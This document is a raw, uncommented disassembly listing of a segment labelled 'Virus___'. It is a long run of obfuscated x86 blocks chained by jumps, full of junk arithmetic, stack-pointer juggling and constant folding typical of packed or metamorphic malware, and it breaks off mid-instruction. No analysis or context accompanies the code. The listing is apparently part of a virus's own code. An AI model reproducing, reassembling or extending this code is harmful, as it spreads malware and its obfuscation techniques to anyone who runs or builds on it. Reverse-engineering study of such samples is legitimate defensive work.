loc_58C1F6 ; --------------------------------------------------------------------------- loc_591A7F: ; CODE XREF: Virus___:005805A5j add eax, 4 push edi mov edi, 5B2F254Ah inc edi jmp loc_58C341 ; --------------------------------------------------------------------------- loc_591A90: ; CODE XREF: Virus___:00593352j add ebx, edx jmp loc_591DC0 ; --------------------------------------------------------------------------- loc_591A97: ; CODE XREF: Virus___:0058248Cj sub ecx, 7FCD502Fh xor [ecx], edx jmp loc_5829C8 ; --------------------------------------------------------------------------- loc_591AA4: ; CODE XREF: Virus___:0057FDEFj mov [esp], esi push ecx push esi mov esi, 4D6E1E5Dh mov ecx, esi mov esi, [esp] add esp, 4 inc ecx add ecx, 1F9A27C1h mov esi, ecx jmp loc_588AD4 ; --------------------------------------------------------------------------- loc_591AC4: ; CODE XREF: Virus___:0058F560j sub dh, 9Ch shl dh, 3 sub dh, 5Eh sub al, dh pop edx neg al add al, 49h or dl, al pop eax shr dl, 2 xor dl, 0CDh jmp loc_58AA35 ; --------------------------------------------------------------------------- loc_591AE2: ; CODE XREF: Virus___:00585414j push esp mov ebx, [esp] add esp, 4 add ebx, 4 jmp loc_58B065 ; --------------------------------------------------------------------------- loc_591AF4: ; CODE XREF: Virus___:00585B55j xor edi, [esp] pop esp mov [esp], edx mov edx, 2B2C30A6h xor edx, 3120389Fh shr edx, 4 not edx push 7FC5h jmp loc_589B0B ; --------------------------------------------------------------------------- loc_591B15: ; CODE XREF: Virus___:00590A26j mov dx, [esp] push 3C2Ch mov [esp], edx push esp mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, 4 push ecx mov ecx, 35AE68FAh add edx, ecx pop ecx add edx, edi jmp loc_58352C ; --------------------------------------------------------------------------- loc_591B49: ; CODE XREF: Virus___:00593617j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_591B4E: ; CODE XREF: Virus___:0058CE5Cj mov edx, 6B3F4D64h jmp loc_5811DF ; --------------------------------------------------------------------------- loc_591B58: ; CODE XREF: Virus___:00585436j dec eax neg eax push ebp mov ebp, 1DF51D2Ah sub eax, ebp jmp loc_59309C ; --------------------------------------------------------------------------- loc_591B68: ; CODE XREF: Virus___:0058B8C8j pop esp mov [esp], esi sub esp, 4 jmp loc_588547 ; --------------------------------------------------------------------------- loc_591B74: ; CODE XREF: Virus___:0058A930j mov ebp, [esp] add esp, 4 push esi mov esi, 5A032C15h xor esi, 3F5906E9h add ebx, esi pop esi mov ecx, ebx pop ebx add ecx, edi sub esp, 4 mov [esp], eax push 0 jmp loc_58741A ; --------------------------------------------------------------------------- loc_591BA4: ; CODE XREF: Virus___:00584BE7j push 1196h mov [esp], esi mov esi, 18613CB0h add ebp, esi mov esi, [esp] add esp, 4 xor ebp, 179E6982h add ebp, 0FFFFFFFFh jmp loc_58D8BC ; --------------------------------------------------------------------------- loc_591BC7: ; CODE XREF: Virus___:00592CEDj dec eax xor eax, 1CDC06F9h sub edi, 72403576h add edi, eax jmp loc_5857F4 ; --------------------------------------------------------------------------- loc_591BDA: ; CODE XREF: Virus___:00586B0Dj push edi jmp loc_581ADC ; --------------------------------------------------------------------------- loc_591BE0: ; CODE XREF: Virus___:005896F5j add ebp, ebx sub ebp, 2D9978B2h add ebp, 29193D03h jmp loc_582C69 ; --------------------------------------------------------------------------- loc_591BF3: ; CODE XREF: Virus___:005935D6j sub edi, ebp add edi, 762B35C7h jmp loc_584ACF ; --------------------------------------------------------------------------- loc_591C00: ; CODE XREF: Virus___:00585CBBj add edx, 6D728A7h add edx, esi push edi mov edi, 5FEE3A24h push edi push ebp pop edi pop ebp not ebp xchg ebp, edi push ecx mov ecx, 29440E3Bh dec ecx jmp loc_587A3C ; --------------------------------------------------------------------------- loc_591C22: ; CODE XREF: Virus___:0058ACF7j add edi, 5DED4694h jmp loc_58A4CA ; --------------------------------------------------------------------------- loc_591C2D: ; CODE XREF: Virus___:0058B211j mov dh, 0E0h push ax jmp loc_582C8D ; --------------------------------------------------------------------------- loc_591C36: ; CODE XREF: Virus___:0058CAA7j push 7537h mov [esp], eax mov ah, dl jmp loc_586A75 ; --------------------------------------------------------------------------- loc_591C45: ; CODE XREF: Virus___:0058CDA3j pop ebx push edx jmp loc_586F09 ; --------------------------------------------------------------------------- loc_591C4C: ; CODE XREF: Virus___:00585B79j push ebx mov ebx, 31AA76B2h jmp loc_58A0D9 ; --------------------------------------------------------------------------- loc_591C57: ; CODE XREF: Virus___:00584C86j add dword ptr [esp+4], 3F20A21h jmp loc_581680 ; --------------------------------------------------------------------------- loc_591C64: ; CODE XREF: Virus___:0058D497j add esp, 4 add eax, 7DE33363h push edi mov edi, 440C0638h jmp loc_58258D ; --------------------------------------------------------------------------- loc_591C77: ; CODE XREF: Virus___:0058DD68j sub esi, 76C50822h dec esi push ebx mov ebx, 28F21277h or esi, ebx pop ebx add esi, 799D65FBh jmp loc_58A273 ; --------------------------------------------------------------------------- loc_591C92: ; CODE XREF: Virus___:0057FBCEj push ebp jmp loc_57F68D ; --------------------------------------------------------------------------- loc_591C98: ; CODE XREF: Virus___:0058897Cj xchg ebx, [esp] mov esp, [esp] jmp loc_5901B5 ; --------------------------------------------------------------------------- loc_591CA3: ; CODE XREF: Virus___:0058CD90j push 10715728h mov edi, [esp] add esp, 4 jmp loc_586A3F ; --------------------------------------------------------------------------- loc_591CB6: ; CODE XREF: Virus___:00583354j pop edi mov ebx, eax pop eax add edx, 3FAD169Dh jmp loc_589C98 ; --------------------------------------------------------------------------- loc_591CC5: ; CODE XREF: Virus___:0058AD44j push esp pop ecx add ecx, 4 push esi mov esi, 4 sub ecx, esi jmp loc_58B0AE ; --------------------------------------------------------------------------- loc_591CDA: ; CODE XREF: Virus___:0058E018j mov eax, 335C4656h jmp loc_593D62 ; --------------------------------------------------------------------------- loc_591CE4: ; CODE XREF: Virus___:005828E9j sub eax, 4992F08h sub eax, 7F356847h sub eax, 17679FAh pop esi xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], cx jmp loc_57F37C ; --------------------------------------------------------------------------- loc_591D09: ; CODE XREF: Virus___:005937D9j pop ebx and eax, ebx pop ebx push edx mov edx, esp add edx, 4 jmp loc_58E0E0 ; --------------------------------------------------------------------------- loc_591D1B: ; CODE XREF: Virus___:00588032j sub ebp, 42AD4E0Ah add edi, ebp jmp loc_58493F ; --------------------------------------------------------------------------- loc_591D28: ; CODE XREF: Virus___:0058617Bj pop ebx xchg edi, [esp] mov esp, [esp] push ebx push 4 jmp loc_580465 ; --------------------------------------------------------------------------- loc_591D3A: ; CODE XREF: Virus___:0058E9C0j shr ecx, 7 push 4333h jmp loc_57F3CF ; --------------------------------------------------------------------------- loc_591D47: ; CODE XREF: Virus___:00588CFBj add bh, 9Dh push ax jmp loc_582261 ; --------------------------------------------------------------------------- loc_591D51: ; CODE XREF: Virus___:0058FF65j push 137Fh jmp loc_58ADA2 ; --------------------------------------------------------------------------- loc_591D5B: ; CODE XREF: Virus___:00587AF8j add edx, 4 jmp loc_581691 ; --------------------------------------------------------------------------- loc_591D66: ; CODE XREF: Virus___:00590937j mov esp, [esp] movsx cx, al jmp loc_580414 ; --------------------------------------------------------------------------- loc_591D72: ; CODE XREF: Virus___:005906F4j pop esp push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] or edx, eax shl edx, 1 jmp loc_58E235 ; --------------------------------------------------------------------------- loc_591D91: ; CODE XREF: Virus___:00580B08j push dword ptr [esp] pop esi add esp, 4 xor ebx, eax push ebx mov ebx, 2Ch add ebx, 0FA83992h sub ebx, 47FE742Bh jmp loc_588112 ; --------------------------------------------------------------------------- loc_591DB4: ; CODE XREF: Virus___:005944F1j mov esp, [esp] sub [esp], al pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_591DC0: ; CODE XREF: Virus___:00591A92j pop edx push ebp mov ebp, 28C86C2Dh push edx mov edx, 170328Dh add ebp, 7E8B7474h add ebp, 5E662702h sub ebp, edx jmp loc_58929D ; --------------------------------------------------------------------------- loc_591DE0: ; CODE XREF: Virus___:00592C50j shr ebp, 3 sub ebp, 3A80784h push ebx jmp loc_581D8D ; --------------------------------------------------------------------------- loc_591DEF: ; CODE XREF: Virus___:0059025Ej sub ecx, esi sub ecx, 6D9367B4h push dword ptr [esp] mov esi, [esp] jmp loc_589057 ; --------------------------------------------------------------------------- loc_591E02: ; CODE XREF: Virus___:00590CCDj mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop ebx push ebp mov ebp, 71D736E6h not ebp shr ebp, 6 xchg edx, ebp jmp loc_5834FB ; --------------------------------------------------------------------------- loc_591E29: ; CODE XREF: Virus___:00582360j add esp, 4 push edi jmp loc_583CFE ; --------------------------------------------------------------------------- loc_591E32: ; CODE XREF: Virus___:00581C61j mov ecx, [esp] add esp, 4 sub edx, edi pop edi pop esi xchg edx, [esp] jmp loc_581FDD ; --------------------------------------------------------------------------- loc_591E47: ; CODE XREF: Virus___:00582C5Aj not dword ptr [esp] pop ecx jmp loc_584642 ; --------------------------------------------------------------------------- loc_591E50: ; CODE XREF: Virus___:005874FFj add esi, 4 xchg esi, [esp] mov esp, [esp] push ecx push dword ptr [esp+4] jmp loc_582137 ; --------------------------------------------------------------------------- loc_591E63: ; CODE XREF: Virus___:00593E73j mov [esp], ecx push 27C56654h jmp loc_58F7FF ; --------------------------------------------------------------------------- loc_591E70: ; CODE XREF: Virus___:0058E87Fj xor [esp], ecx xor ecx, [esp] xor [esp], ecx push dword ptr [esp] pop eax push ebp jmp loc_59415F ; --------------------------------------------------------------------------- loc_591E83: ; CODE XREF: Virus___:005864D9j not ecx jmp loc_583FFD ; --------------------------------------------------------------------------- loc_591E8A: ; CODE XREF: Virus___:00586BBCj mov ch, 60h not ch shr ch, 4 and ch, 22h dec ch xor ch, 0E8h sub al, ch mov ecx, [esp] jmp loc_585DA1 ; --------------------------------------------------------------------------- loc_591EA3: ; CODE XREF: Virus___:0058502Bj xor ecx, 637B4F8Eh push ecx pop edx jmp loc_58D485 ; --------------------------------------------------------------------------- loc_591EB0: ; CODE XREF: Virus___:00592FE4j xchg ebp, [esp] pop esp jmp loc_583735 ; --------------------------------------------------------------------------- loc_591EB9: ; CODE XREF: Virus___:0057F82Ej mov esp, [esp] jmp loc_593E28 ; --------------------------------------------------------------------------- loc_591EC1: ; CODE XREF: Virus___:005832A2j sub esi, 62D8663Ah sub esi, eax sub esp, 4 mov [esp], edi jmp loc_58BAE3 ; --------------------------------------------------------------------------- loc_591ED4: ; CODE XREF: Virus___:005815A7j pop ecx add ecx, 4 push edx mov edx, 2 add ecx, edx pop edx xchg ecx, [esp] pop esp push ebx mov bh, 0A5h jmp loc_58D4B4 ; --------------------------------------------------------------------------- loc_591EF0: ; CODE XREF: Virus___:0059457Cj add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp add esp, 4 jmp loc_57F37C ; --------------------------------------------------------------------------- loc_591F0B: ; CODE XREF: Virus___:005909C9j mov [esp], eax mov eax, 90B503Ch jmp loc_594204 ; --------------------------------------------------------------------------- loc_591F18: ; CODE XREF: Virus___:00589A19j add esi, 7EF52105h add esi, eax sub esi, 7EF52105h sub esi, 398338D5h push 4BC2h mov [esp], eax jmp loc_5816F4 ; --------------------------------------------------------------------------- loc_591F39: ; CODE XREF: Virus___:0058FA2Dj push ebp mov ebp, 11A061B0h not ebp or ebp, 3FF066F6h add ebp, 23DD1BEFh xor esi, ebp pop ebp sub eax, esi pop esi push ebp mov ebp, 69987224h sub eax, ebp pop ebp add eax, 7137CEFh add eax, ebx jmp loc_589109 ; --------------------------------------------------------------------------- loc_591F68: ; CODE XREF: Virus___:0058E067j mov edi, 536D5CD1h jmp loc_580628 ; --------------------------------------------------------------------------- loc_591F72: ; CODE XREF: Virus___:005806CDj add esp, 4 jmp loc_587BA9 ; --------------------------------------------------------------------------- loc_591F7A: ; CODE XREF: Virus___:0058E929j sub ebx, eax sub ebx, 74A362C0h push ecx mov ecx, 0FB73002h sub ecx, 0F1B4E4BCh add ebx, ecx pop ecx sub ebx, 804251Ch add ebx, 607954BFh add ebx, 49CB5938h sub ebx, 1C99070Eh pop small word ptr [eax] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_591FB1: ; CODE XREF: Virus___:0059350Ej mov edx, 77C76D8Eh neg edx jmp loc_58C34A ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] jmp loc_593545 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push 432Ah jmp loc_585A5E ; --------------------------------------------------------------------------- loc_591FD6: ; CODE XREF: Virus___:005843B6j push edx mov edx, 3D25451Ch dec edx jmp loc_5866FF ; --------------------------------------------------------------------------- loc_591FE2: ; CODE XREF: Virus___:0058C644j pop ecx sub esp, 4 mov [esp], edx mov dh, 0B2h inc dh jmp loc_580DE8 ; --------------------------------------------------------------------------- loc_591FF5: ; CODE XREF: Virus___:0058498Aj sub esi, 0DA3D38D2h xor eax, esi jmp loc_582205 ; --------------------------------------------------------------------------- loc_592002: ; CODE XREF: Virus___:0058B477j push ecx push eax mov eax, 1B92130Fh mov ecx, 24E30BEAh add ecx, eax mov eax, [esp] push edx mov edx, esp add edx, 4 jmp loc_5811C0 ; --------------------------------------------------------------------------- loc_592021: ; CODE XREF: Virus___:0058C833j mov esi, 23133C14h sub ecx, esi pop esi add ecx, 7F631DA8h jmp loc_592257 ; --------------------------------------------------------------------------- loc_592034: ; CODE XREF: Virus___:005904B4j mov [esp], esi mov esi, esp push ebp push esi mov esi, 572B41C5h sub esi, 0F7553702h mov ebp, esi pop esi shl ebp, 5 add ebp, 60DB5B01h shl ebp, 4 jmp loc_58BE62 ; --------------------------------------------------------------------------- loc_59205A: ; CODE XREF: Virus___:0058D04Aj push 773Ch mov [esp], ecx jmp loc_582E7C ; --------------------------------------------------------------------------- loc_592067: ; CODE XREF: Virus___:00584F2Fj push 519Fh mov [esp], ecx mov ch, 47h jmp loc_587177 ; --------------------------------------------------------------------------- loc_592076: ; CODE XREF: Virus___:00588BD5j mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_592C55 ; --------------------------------------------------------------------------- loc_59208A: ; CODE XREF: Virus___:0058E8AFj pop ebx push dword ptr [esp] push dword ptr [esp] pop eax sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push eax push esp mov eax, [esp] jmp loc_58A3D5 ; --------------------------------------------------------------------------- loc_5920B1: ; CODE XREF: Virus___:00582055j add [esp+4], ebp pop ebp pop eax sub eax, 449B7E3Eh push ebp sub esp, 4 mov [esp], ebx mov ebx, 16E4A74h push ebp mov ebp, 409F5030h jmp loc_592E8C ; --------------------------------------------------------------------------- loc_5920D3: ; CODE XREF: Virus___:005938E4j and ebp, eax pop eax sub esp, 4 mov [esp], eax mov eax, 14A27561h shr eax, 5 jmp loc_585E5E ; --------------------------------------------------------------------------- loc_5920E9: ; CODE XREF: Virus___:0058B462j mov edi, [esp] add esp, 4 push 0 sub dword ptr [esp], 49EF3058h sub [esp], edi add dword ptr [esp], 49EF3058h pop edi and edi, 461F6C11h jmp loc_58E44D ; --------------------------------------------------------------------------- loc_592111: ; CODE XREF: Virus___:0058C2FFj push esp mov edx, [esp] push edi mov edi, esp push esi mov esi, 5D4132C2h jmp loc_583190 ; --------------------------------------------------------------------------- loc_592123: ; CODE XREF: Virus___:00581B44j pop esp mov [esp], edi jmp loc_58F923 ; --------------------------------------------------------------------------- loc_59212C: ; CODE XREF: Virus___:00594051j mov [esp], ebx mov ebx, 67FDFDFAh xor ecx, ebx pop ebx push ecx push eax push 4D2F7852h jmp loc_5928C4 ; --------------------------------------------------------------------------- loc_592143: ; CODE XREF: Virus___:0057F528j mov ecx, [esp] push edx jmp loc_58D188 ; --------------------------------------------------------------------------- loc_59214C: ; CODE XREF: Virus___:00588E66j push edx mov edx, ecx push edx xor dword ptr [esp], 7ABF67DBh jmp loc_58CD7B ; --------------------------------------------------------------------------- loc_59215C: ; CODE XREF: Virus___:005811C7j or ebx, ecx pop ecx jmp loc_583245 ; --------------------------------------------------------------------------- loc_592164: ; CODE XREF: Virus___:00583AAFj shr esi, 1 and esi, 2F5B2FDAh xor esi, 1898350Eh push ebx mov ebx, 38421B6h sub ebx, 304E0AC8h jmp loc_58730E ; --------------------------------------------------------------------------- loc_592183: ; CODE XREF: Virus___:0058ACBFj mov edx, eax pop eax add edi, edx jmp loc_5832E0 ; --------------------------------------------------------------------------- loc_59218D: ; CODE XREF: Virus___:0058BDD1j add ecx, 0BDD53FB1h sub edi, 3A402FEAh jmp loc_5872CA ; --------------------------------------------------------------------------- loc_59219E: ; CODE XREF: Virus___:0058E97Cj push ecx push eax push ecx jmp loc_580AF5 ; --------------------------------------------------------------------------- loc_5921A6: ; CODE XREF: Virus___:005801EEj xor [esp+4], edi pop edi mov ebx, [esp] add esp, 4 jmp loc_593AA2 ; --------------------------------------------------------------------------- loc_5921B6: ; CODE XREF: Virus___:00587E52j push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_58E5D6 ; --------------------------------------------------------------------------- loc_5921D9: ; CODE XREF: Virus___:00580BD1j push esi mov esi, 112D370Ch sub esi, 9B08E405h and ebp, esi jmp loc_5848C9 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_582D50 ; --------------------------------------------------------------------------- loc_5921FB: ; CODE XREF: Virus___:00593F7Dj mov eax, 4 jmp loc_5840AD ; --------------------------------------------------------------------------- loc_592205: ; CODE XREF: Virus___:00587048j add esp, 4 xor ebx, eax push 20F3h mov [esp], ebx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_580CCF ; --------------------------------------------------------------------------- loc_59222F: ; CODE XREF: Virus___:00586EF8j add esi, 0F392017Ah sub edx, esi pop esi xor edx, 0F03BD5B0h add ebp, 706809EEh jmp loc_586311 ; --------------------------------------------------------------------------- loc_592249: ; CODE XREF: Virus___:00583B6Ej add esp, 4 push ecx mov ecx, 5074193Fh jmp loc_581DEF ; --------------------------------------------------------------------------- loc_592257: ; CODE XREF: Virus___:0059202Fj mov edi, [esp] jmp loc_58F3BB ; --------------------------------------------------------------------------- loc_59225F: ; CODE XREF: Virus___:0058AFE7j xor edx, [esp] xor [esp], edx jmp loc_58066B ; --------------------------------------------------------------------------- loc_59226A: ; CODE XREF: Virus___:005871A6j add edx, 4 add edx, 2 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_592596 ; --------------------------------------------------------------------------- loc_592284: ; CODE XREF: Virus___:0058108Fj mov dl, al mov ch, dl pop edx pop eax push ebx mov bh, ch mov [edi+eax*4+1], bh pop ebx mov ecx, [esp] jmp loc_590BC0 ; --------------------------------------------------------------------------- loc_59229A: ; CODE XREF: Virus___:00590BBBj push dword ptr [esp] pop ecx add esp, 4 push 3E3Dh mov [esp], ecx push 3932h mov [esp], esp push ebx jmp loc_58DDD7 ; --------------------------------------------------------------------------- loc_5922BA: ; CODE XREF: Virus___:00589840j inc edx add edx, 44796B8Ah push edi jmp loc_58D213 ; --------------------------------------------------------------------------- loc_5922C7: ; CODE XREF: Virus___:005944F9j shl ebp, 1 jmp loc_58F736 ; --------------------------------------------------------------------------- loc_5922CE: ; CODE XREF: Virus___:0058E400j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 356Dh mov [esp], ebx mov ebx, 4D977AF6h not ebx add ebx, 41A81F3Bh sub ebx, 24917479h add ebx, 1 jmp loc_58E1DF ; --------------------------------------------------------------------------- loc_592301: ; CODE XREF: Virus___:0058EB6Bj pop edx add esp, 4 push ebx mov ebx, 7D99056Fh push edi jmp loc_58D575 ; --------------------------------------------------------------------------- loc_592314: ; CODE XREF: Virus___:00582397j add esp, 4 push ecx mov ecx, 588F3874h and ebp, ecx pop ecx sub ebp, 50090070h jmp loc_5853AD ; --------------------------------------------------------------------------- loc_59232B: ; CODE XREF: Virus___:005914D2j push ebp mov ebp, 4 add eax, ebp mov ebp, [esp] add esp, 4 push ebp push ecx push 394B4123h pop ecx sub ecx, 35391211h or ecx, 4FB13BB3h push ebx mov ebx, 7570E43h push ecx mov ecx, 2622D41h xor ebx, ecx pop ecx and ecx, ebx pop ebx jmp loc_580BEF ; --------------------------------------------------------------------------- loc_592364: ; CODE XREF: Virus___:00590DFDj neg bl shr bl, 8 jmp loc_585234 ; --------------------------------------------------------------------------- loc_59236E: ; CODE XREF: Virus___:0058A1B9j add ebp, ebx mov ebx, [esp] jmp loc_580C1A ; --------------------------------------------------------------------------- loc_592378: ; CODE XREF: Virus___:00586904j push small word ptr [eax] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_592380: ; CODE XREF: Virus___:00588862j pop edi push 7BC6h mov [esp], edx mov edx, 4 add eax, edx pop edx xchg eax, [esp] mov esp, [esp] xor eax, 30D62FDAh mov esi, [esp] add esp, 4 push ecx sub esp, 4 jmp loc_587F45 ; --------------------------------------------------------------------------- loc_5923B1: ; CODE XREF: Virus___:0058B0FFj not dh sub dh, 1Fh sub dh, 9Ah push eax mov ah, 0C2h push ecx mov ch, 5Ch add dh, ch jmp loc_587294 ; --------------------------------------------------------------------------- loc_5923C6: ; CODE XREF: Virus___:00585FFBj mov ebx, 0CEBC19E9h add ebx, edi pop edi xor ebx, edi pop edi jmp loc_58C590 ; --------------------------------------------------------------------------- loc_5923D6: ; CODE XREF: Virus___:00587BCBj add esp, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_58A44E ; --------------------------------------------------------------------------- loc_5923F7: ; CODE XREF: Virus___:00580FA4j add esp, 4 and eax, ecx mov ecx, [esp] jmp loc_580281 ; --------------------------------------------------------------------------- loc_592404: ; CODE XREF: Virus___:0058F1C3j push esi push esp pop esi push ecx push ebx push 61214A31h pop ebx jmp loc_58D766 ; --------------------------------------------------------------------------- loc_592414: ; CODE XREF: Virus___:0058671Dj and ebx, 3E9F6DA5h sub ebx, 0EAB1681Dh xor eax, ebx pop ebx push ebx mov ebx, eax mov edi, ebx pop ebx pop eax push ebp jmp loc_58737B ; --------------------------------------------------------------------------- loc_592430: ; CODE XREF: Virus___:00582C27j pop ebx jmp loc_58F39D ; --------------------------------------------------------------------------- loc_592436: ; CODE XREF: Virus___:0058BB0Fj pop edi jmp loc_583A45 ; --------------------------------------------------------------------------- loc_59243C: ; CODE XREF: Virus___:005827CEj push ebx jmp loc_581CCD ; --------------------------------------------------------------------------- loc_592442: ; CODE XREF: Virus___:005843E6j push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx jmp loc_57F5ED ; --------------------------------------------------------------------------- loc_592461: ; CODE XREF: Virus___:00590B50j xor edx, [esp] mov esp, [esp] or [esp], ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_592471: ; CODE XREF: Virus___:005915A7j pop ebp push eax push 2360h mov [esp], edi mov edi, 40D61CBh mov eax, edi jmp loc_58E37F ; --------------------------------------------------------------------------- loc_592487: ; CODE XREF: Virus___:00586652j add ecx, 2 push 2870h mov [esp], ecx jmp loc_586212 ; --------------------------------------------------------------------------- loc_59249A: ; CODE XREF: Virus___:00592F26j pop ecx push edx jmp loc_58D49C ; --------------------------------------------------------------------------- loc_5924A1: ; CODE XREF: Virus___:00589620j sub ebx, 0FFFFFFFFh sub ebx, 0CDD6153h sub edx, ebx pop ebx add edx, ebx add edx, 6BB10A38h mov ebx, [esp] add esp, 4 xchg edx, [esp] jmp loc_5827C2 ; --------------------------------------------------------------------------- loc_5924C6: ; CODE XREF: Virus___:0058EE0Aj pop ecx jmp loc_584B18 ; --------------------------------------------------------------------------- loc_5924CC: ; CODE XREF: Virus___:005934DAj mov ebx, 0DBF66F6h xor ebx, 0E77770Dh sub esi, ebx jmp loc_593183 ; --------------------------------------------------------------------------- loc_5924DE: ; CODE XREF: Virus___:005800DCj pop esp mov [esp], edx push ecx mov ecx, 6F0106D1h mov edx, 23DD691Ah jmp loc_583D19 ; --------------------------------------------------------------------------- loc_5924F2: ; CODE XREF: Virus___:005840F5j shl ebp, 5 neg ebp xor ebp, 58D87CC4h add eax, ebp pop ebp sub esp, 4 jmp loc_580C9A ; --------------------------------------------------------------------------- loc_592508: ; CODE XREF: Virus___:0058AF22j sub eax, 0E207A9FEh add ebx, eax pop eax add ebx, 7B25302Bh mov eax, [esp] add esp, 4 push ebp mov ebp, 6AEE7AEFh sub ebp, 4C256E46h sub ebp, 0A65B8E4Dh sub ebx, ebp pop ebp sub ebx, eax add ebx, 786D7E5Ch push edx mov edx, 0E047359h sub ebx, edx jmp loc_58F257 ; --------------------------------------------------------------------------- loc_592546: ; CODE XREF: Virus___:0058E1E7j pop ebx and ecx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 shr ecx, 0Ah push ebp push esp jmp loc_57F89B ; --------------------------------------------------------------------------- loc_592562: ; CODE XREF: Virus___:00587E08j mov ebp, esp push ebx mov ebx, 33D676D6h add ebx, 1 shr ebx, 2 not ebx shr ebx, 1 xor ebx, 79853121h add ebp, ebx pop ebx sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ecx push 7624h jmp loc_5859B2 ; --------------------------------------------------------------------------- loc_592596: ; CODE XREF: Virus___:0059227Fj pop esp jmp loc_58C3C4 ; --------------------------------------------------------------------------- loc_59259C: ; CODE XREF: Virus___:00582BCEj neg esi xor esi, 7BE003Fh sub esi, 42196727h add esi, 0F0ECF9C6h jmp loc_5810E2 ; --------------------------------------------------------------------------- loc_5925B5: ; CODE XREF: Virus___:005820E0j pop esp mov [esp], esi mov esi, 1E3C14BDh push esi mov esi, 3E4E59C2h mov eax, 120ED1D4h xor eax, esi pop esi sub eax, esi pop esi sub ebx, 7B25302Bh sub ebx, 2E4A672Fh add ebx, eax jmp loc_58A3E7 ; --------------------------------------------------------------------------- loc_5925E2: ; CODE XREF: Virus___:00586422j sub esp, 4 mov [esp], edx push esp pop edx push ecx push edi mov edi, 3C1C03ABh sub edi, 5211F7Bh jmp loc_5815FC ; --------------------------------------------------------------------------- loc_5925FF: ; CODE XREF: Virus___:0058EC69j xor [esp], edi xor edi, [esp] pop esp mov [esp], eax mov eax, 392A6D8Ch xor edi, eax push dword ptr [esp] push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebx jmp loc_58ACC4 ; --------------------------------------------------------------------------- loc_592630: ; CODE XREF: Virus___:0058629Ej sub esp, 4 mov [esp], eax jmp loc_589AAC ; --------------------------------------------------------------------------- loc_59263B: ; CODE XREF: Virus___:00593697j sub bl, 39h sub bl, 26h add bl, 0B7h push dx jmp loc_59306B ; --------------------------------------------------------------------------- loc_59264B: ; CODE XREF: Virus___:00582664j add esp, 4 add ebp, edx mov edx, [esp] jmp loc_58DEB2 ; --------------------------------------------------------------------------- loc_59265B: ; CODE XREF: Virus___:0059102Fj push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push ebx jmp loc_5863BC ; --------------------------------------------------------------------------- loc_592671: ; CODE XREF: Virus___:00580009j pop dword ptr [esp] push 6FD9h mov [esp], esi jmp loc_585676 ; --------------------------------------------------------------------------- loc_592681: ; CODE XREF: Virus___:0058F398j add ebx, edx push dword ptr [esp] pop edx add esp, 4 push 0FC4h mov [esp], edx jmp loc_592B9C ; --------------------------------------------------------------------------- loc_592697: ; CODE XREF: Virus___:0058FC46j mov eax, 5CC47D0Eh add ecx, eax jmp loc_58CD1A ; --------------------------------------------------------------------------- loc_5926A3: ; CODE XREF: Virus___:0058DB8Ej mov eax, 5346307h not eax jmp loc_58F61A ; --------------------------------------------------------------------------- lodsb push 3CFAh mov [esp], ebx jmp loc_587C1E ; --------------------------------------------------------------------------- loc_5926BD: ; CODE XREF: Virus___:00582637j push edx mov dh, 7Ch add bl, dh pop edx pop eax add al, bl pop ebx sub bl, 0Eh add bl, al push 109Ah mov [esp], eax mov al, 9Ah shr al, 1 dec al sub al, 3Eh add bl, 0F2h add bl, al sub bl, 0F2h jmp loc_58B3D1 ; --------------------------------------------------------------------------- loc_5926E9: ; CODE XREF: Virus___:00582C6Cj pop ebx add esp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 push eax mov eax, 4 add edx, eax pop eax xor edx, [esp] xor [esp], edx jmp loc_5898C9 ; --------------------------------------------------------------------------- loc_592720: ; CODE XREF: Virus___:0058D140j sub edx, 73807DC7h add edx, 73BE3935h add edx, edi jmp loc_58E9CB ; --------------------------------------------------------------------------- loc_592733: ; CODE XREF: Virus___:0059386Fj mov edi, [esp] jmp loc_58B5AB ; --------------------------------------------------------------------------- loc_59273B: ; CODE XREF: Virus___:0058A787j add ebp, edi pop edi sub ebp, 4 jmp loc_57FC51 ; --------------------------------------------------------------------------- loc_592746: ; CODE XREF: Virus___:00593E0Ej or bh, 39h sub bh, 63h mov dh, bh mov ebx, [esp] add esp, 4 push ebx mov bh, 81h inc bh not bh shr bh, 2 shr bh, 1 add bh, 0F0h add dh, bh pop ebx not dh dec dh and dh, 0BAh push ax mov al, dh inc al push ebx mov bh, al mov dh, bh pop ebx mov ax, [esp] add esp, 2 not dh jmp loc_58676F ; --------------------------------------------------------------------------- loc_59278A: ; CODE XREF: Virus___:0058AAA3j mov bh, dl mov 